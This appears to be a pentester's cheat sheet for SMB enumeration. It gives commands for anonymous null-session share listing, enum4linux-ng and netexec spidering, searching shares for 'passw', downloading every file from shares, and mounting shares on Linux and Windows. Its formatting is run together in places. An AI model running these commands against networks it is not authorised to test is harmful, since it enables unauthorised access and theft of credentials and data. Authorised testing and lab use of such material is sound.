Recon#
nmap --script smb-os-discovery.nse -p445 $targetNo credential (Null session)#
If guest account is enable, you can set
user='guest'and nopass.
List available shares#
smbclient -N -L //$target/smbmap -H $targetAccess share#
smbclient //$target/<dir> -U "%"enum4linux-ng#
Utilizes nmblookup, net, rpcclient, and smbclient to automate some common enumeration from SMB targets such as:
- Workgroup/Domain name
- Users information
- Operating system information
- Groups information
- Shares Folders
- Password policy information
sudo apt install enum4linux-ngenum4linux-ng $target -A -C -oA adenumSpider for interesting files#
After running this, it will output to a file, which will be shown in the command output. Read that json file for a list of files in the network share
nxc smb $target -u '' -p '' -M spider_plusSpider and search#
Search the the word ‘passw’ in every file
netexec smb $target -u "" -p "" --spider IT --content --pattern "passw"Download all files from smb#
netexec smb $target -u "" -p """ -M spider_plus -o DOWNLOAD_FLAG=True --smb-timeout 60 -t 15Mount smb#
Linux#
Without credential#
sudo mount -t cifs -o domain=. //192.168.220.129/Finance /mnt/FinanceWith credential#
sudo mount -t cifs -o username=plaintext,password=Password123,domain=. //192.168.220.129/Finance /mnt/FinanceOr, with credential file
mount -t cifs //192.168.220.129/Finance /mnt/Finance -o credentials=/path/credentialfilecredentialfile
username=user
password=pass
domain=domain.localWindows - CMD#
Without credential#
net use n: \\192.168.220.129\FinanceWith credential#
net use n: \\192.168.220.129\Finance /user:plaintext Password123Windows - Powershell#
Without credential#
New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem"With credential#
$username = 'plaintext'
$password = 'Password123'
$secpassword = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential $username, $secpassword
New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem" -Credential $cred